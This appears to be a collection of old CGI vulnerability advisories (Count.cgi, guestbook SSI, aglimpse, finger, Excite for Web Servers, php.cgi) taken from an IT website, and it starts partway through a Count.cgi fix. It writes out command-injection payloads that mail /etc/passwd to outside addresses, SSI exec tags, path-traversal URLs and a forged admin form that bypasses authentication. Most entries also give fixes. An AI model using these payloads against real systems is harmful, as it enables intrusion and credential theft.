other purposes, mainly to develop a generic cgi-bin wraper.
void wrapit(char *envvar,int esize)
{
char *tmp,*tmp2;
tmp=malloc(esize+1);
if(tmp==NULL)
{
Debug2("Can't allocate wrapper memory buffer.",0,0);
exit(1);
}
strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
tmp[esize]=' ';
setenv(envvar,tmp,1);
}
/*
* avoid any buffer overflow problem by cutting some env variables
*/
wrapit("QUERY_STRING",600);
wrapit("HTTP_REFERER",600);
wrapit("HTTP_USER_AGENT",600);
here is a _sample_ exploit, designed to be used on localhost.Needs
lots of work to be really usefull, remote stack prediction is still
a big problem.
wwwcount.c
original (c) 05/1997 by plaguez
count.c
Gus/97 from rootshell intel linux
count23.c
linux exploit Count.cgi (html gen)
count23a.c
modified remote exploit
Read any gif vulnerability only in 2.3
Allows remote users to read any GIF file on the server, regardless
of HTTP permissions set.
http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../path/file.gif
you can see (and download) any GIF image on the server.
You can't use this to download other file types because the program
checks the file format.
The use for this is not yet very clear, but some companies might
have sensitive information in GIF files (charts, drafts etc.). And
of course, this is heaven for XXX site hunters who can bypass user
level authentication and download the image if they know the path.
|
|
Name: guestbook.cgi for Web Servers Using SSI
Risk: execute arbitrary commands as web server's UID (remote)
Versions: A guestbook CGI script is freely available by Selena Sol
guestbook script at Matt Wright's archive
Distro: http://www.eff.org/~erict/Scripts/guestbook.html
Guestbook applications allow a person browsing a web site to
"sign" an electronic guestbook and leave an appropriate message.
All versions of this program have a vulnerability that under
certain conditions allows a remote user to execute arbitrary
commands on the server as the user id of the httpd daemon. These
conditions are:
* the server allow Server Side Includes (SSI) on the directory
in which the guestbook is located, and,
* the guestbook application allows the remote user to write
HTML tags into the Comment field of the guestbook, and,
* the guestbook application does not filter appropriate HTML
tags.
The script attempts to strip out SSI's with the following regex:
$value =~ s/<!--(.|n)*-->//g;
<!--#exec cmd="/bin/cat /etc/passwd"->
<!--#include file="/etc/passwd"-->
<!--#include file="/var/spool/mail/youruserid"-->
<!--#exec cmd="/bin/cat /etc/passwd"
Exec-SSIs are a security problem itself and one should know about
the risks when enabling them (and enabling them for pages which
are generated from user input, e.g. guestbook pages, is just a
stupid idea). Scripts should not go about generating SSI based on
user input. It's trivial to configure the server to avoid this -
use a different file extension for ssi and non-ssi. Apache does
diagnose the malformed tag:
[Thu Jun 25 14:23:23 1998] [error] httpd: premature EOF in parsed file /blah/blah/tt.shtml
But the diagnosis occurs after it has executed the command, and
we're unlikely to change that. The parser just executes things
as it encounters them. It does not attempt to find an entire tag
first... that's needlessly complex. (Consider long tags spanning
multiple input buffers.)
(a) Disable SSI on the directory in which the guestbook
application writes its data. See your WWW server documentation
for details.
(b) Filter HTML tags that can be used to process arbitrary local
data
|
|
Name: /cgi-bin/aglimpse
Risk: execute arbitrary commands as web server's UID (remote)
Versions: GlimpseHTTP 2.0 and WebGlimpse versions prior to 1.5
Distro: http://glimpse.cs.arizona.edu/webglimpse/
Another HTTP vulnerability, this time in a small utility: Glimpse
HTTP which is an interface to the Glimpse search tool. It is
written in PERL. The hole is small one but it can allow you to
execute any command on the remote system (as the owner of the
http server).
$path_info = $ENV{'PATH_INFO'};
$_ = $path_info;
# /<length>/$indexdir/$path is the format of the PATH_INFO
# might as well start the message now print "Content-type: text/htmlnn";
print "<HTML>n"; print "<HEAD>n";
if ( m|^/([0-9]*)(.*)$| ) {
$length = $1;
$path = $2;
$path =~ s|"||g; } else {
&err_badargs; }
$indexdir = substr($path,0,$length);
$relpath = substr($path,$length,length($path));
# print "<br>indexdir=$indexdir<br>relpath=$relpath<br>";
open(CONF,"$indexdir/archive.cfg") || &err_conf;
As you may see, it splits PATH_INFO in two fields: $length and
$path and then takes the first $length characters from $path and
puts them in $indexdir. The last line opens "$indexdir/archive.cfg".
Now for the evil part. By setting $indexdir to a string that
begins with '|', the system will execute whatever it finds after
the pipe, giving it as STDIN what you write to the CONF handle.
The bad thing is that most HTTP servers won't let you use TABS or
SPACES in the PATH_INFO (not the case of Netscape servers anyway,
but CERN and Apache will do it). And I don't know how many "one
word" commands can anyone find (and make them do evil).
Here's where the famous IFS variable comes handy. If $indexdir
is set to something like:
"|IFS=5;CMD=5mail5your_address@your_computer.com</etc/passwd;eval$CMD;echo"
it will execute the command in CMD using IFS as separator. The
one above sends me your /etc/passwd. The last "echo" is used to
ignore the rest of the string. An of course you can use any other
separator instead of "5".
telnet target.machine.com 80
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5hack@i.am</etc/passwd;eval$CMD;echo HTTP/1.0
Note that the cgi-bin directory could be located somewhere else
(for example in /scripts or /cgi or a special directory just for
glimpse...). Also note that you HAVE to use all those backslahes
in the command (perl wants them there!).
|
|
Name: /cgi-bin/finger
Risk: an entire network can have a security breech...
Finger, the standard Unix command used to look up users on a
system, has been deemed a security hole by some sites and in some
cases shut off. Other variations of finger have been altered so
that a user can control exactly what information about his/her
login is shared on the local machine and over the wire. In other
instances, tcpwrappers are used so that only trusted systems on a
LAN can finger other machines. Having the CGI program "finger"
installed can breech security in all these instances.
Finger a site on the net, out of the blue.
[user@mybox] finger @host.i.want.to.own.com
/////////////////////////////////////////////////
*
* WARNING: Your finger attempt from user@myhost
* has been recorded in our logs.
* Any more finger attempts from your host, and
* we will consider those actions an attack on
* our host. We will prosecute anyone we feel is
* intruding onto our network.
*
/////////////////////////////////////////////////
[user@mybox] lynx http://host.i.want.to.own.com/cgi-bin/finger?@localhost
[localhost.i.want.to.own.com]
Login Name Tty Idle Login Time Office Office Phone
lip Larry I. Peters qf - Feb 19 15:01
jack Jack Daniels pd 23:40 Feb 18 14:44
jdobman J. Doberman p1 3 Feb 19 12:32 Room 101
jdobman J. Doberman q1 2:48 Feb 9 15:57 Room 101
red R. Earl Davies *q5 1:26 Feb 19 08:43
With that one CGI program, an entire network's security has been
violated. Imagine that host.i.want.to.own.com has a machine
specifically for processing orders. Knowing a username on that
machine makes it a lot easier for a potential hacker to get in.
If software such as tcpwrappers are in use on the LAN, chances
are it will be configured so that local users can see who is
logged in where.
[user@mybox] lynx http://host.i.want.to/cgi-bin/finger?@trustedhost
[trustedhost]
Login Name Tty Idle Login Time Office Office Phone
lip Larry I. Peters q1 - Feb 19 15:01
jack Jack Daniels p0 1:40 Feb 18 14:44
Now, an entire network has had a security breech,not just one system.
1) get your list of e-mail addresses you found for the site (let's
pretend one of them is "kangaroo@acme.net ", and that your email
address is "your@email.org")
2) Go back to the finger box, and type this in (changing these email
addresses for the real ones):
kangaroo@acme.net ; /bin/mail your@email.org < etc/passwd
|
|
Name: bugs in Excite for Web Servers 1.1
Date: 30 Nov 1998
Versions: EWS 1.1
Distro: http://www.excite.com/navigate/
Risk: ordinary user being able to gain control over EWS
Marc Merlin found following. While trying a query like this one
on a server "this and this and that" (with the quotes) he noticed
an error. Classic mistake, it launches a shell with whatever was
given in the query (even though spaces are escaped with a '$').
Yet, the exploit remains simple:
";IFS="$";/bin/cat /etc/passwd|mail your_email_here;
(or any other shell command you can thing of)
The installation program installs several files with world-write
permissions. This is bad because one of them (Architext.conf)
contains the encrypted password which is used for all authentication.
Because of this, any user with shell or non-anonymous FTP access
to the web server could modify the encrypted password.
All authentication after the initial access to AT-admin.cgi relies
solely on the encrypted password. Since any user with shell or FTP
access can read Architext.conf, it is trivial for local users to
gain administrative privileges over EWS. Thus, a user only needs to
have a web page that looks like:
<html> <head><title>exploit</title>
<body>
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi"
METHOD=POST>
<INPUT TYPE="hidden" NAME="db" VALUE="personal">
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
Reload this page, in case the log file or status has changed.
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
<INPUT TYPE="hidden" NAME="File"
VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">
<INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
</FORM><BR>
</body>
</html>
Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with
values that make sense for your situation. By accessing this page
and clicking on the button you get to a menu that behaves exactly
as if you knew the unencrypted password.
Problem: Passwords are not encrypted properly. Note that the first
two characters of the encrypted password are always the first two
characters of the plain-text password. For example, if you choose
the password "blah", the encrypted password is "blk1x.w.ISlDw".
In light of the fact that the plain-text password is not needed for
adminstrative control (above), this problem is not that significant.
Since this same password may be used other places it should be
protected better. If a dictionary attack for the password is
done, only those words that start with "bl" need be examined.
If a brute force attack is used, the number of guesses goes down
significantly
Solution: Encrypt passwords using random salts. Even using "aa"
as the salt in every case would be more secure.
|
Name: php (CGI) 3 bugs
Date: 19 Oct 1997
Versions: php.cgi 2.0beta10 or earlier ( or up to 19 October 1997)
Distro: http://www.vex.net/php
Risk: execute arbitrary commands as web server's UID (remote)
First vulnerability allows unauthorized users to view arbitrary
file contents on the machine running http by sending the file name
wishing to be displayed as the QUERY_STRING.
simply use any web browser to send the following URL:
http://boogered.system.com/cgi-bin/php.cgi?/file/to/view
The workaround solution is to set the following in php.h
#define PATTERN_RESTRICT ".*\.phtml$"
This will limit the php.cgi parser to only display files ending
in .phtml
Vulnerability in PHP Example Logging Scripts
There was a gaping security hole in a few of the example scripts,
specifically mlog.html and mylog.html, which allow any remote user
to read any arbitrary file on the system.(which is readable to the
user that httpd and thus PHP are running as) To top it all off,
this exploit is really easy to accomplish.
The problem lies in the line:
<?include "$screen">
in both mlog.html and mylog.html. The idea is to include a file
for each type of logging stats, however, there is no escaping of
slashes, so one can specify any file on the system.
http://host.comt/~user/cool-logs/mlog.html?screen=[full path to any file]
Useful files to see are /etc/hosts.allow, /etc/passwd (for
unshadowed systems..) and just about anything else (and if your
httpd is still running as root you may be considered as lucky guy
while you can't say the say for dummy admin of that machine).
Fix:
use the following block of code, right before <?include... line.
|
|
 |
|
|
|
|
|
|
Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
|
|
|
|
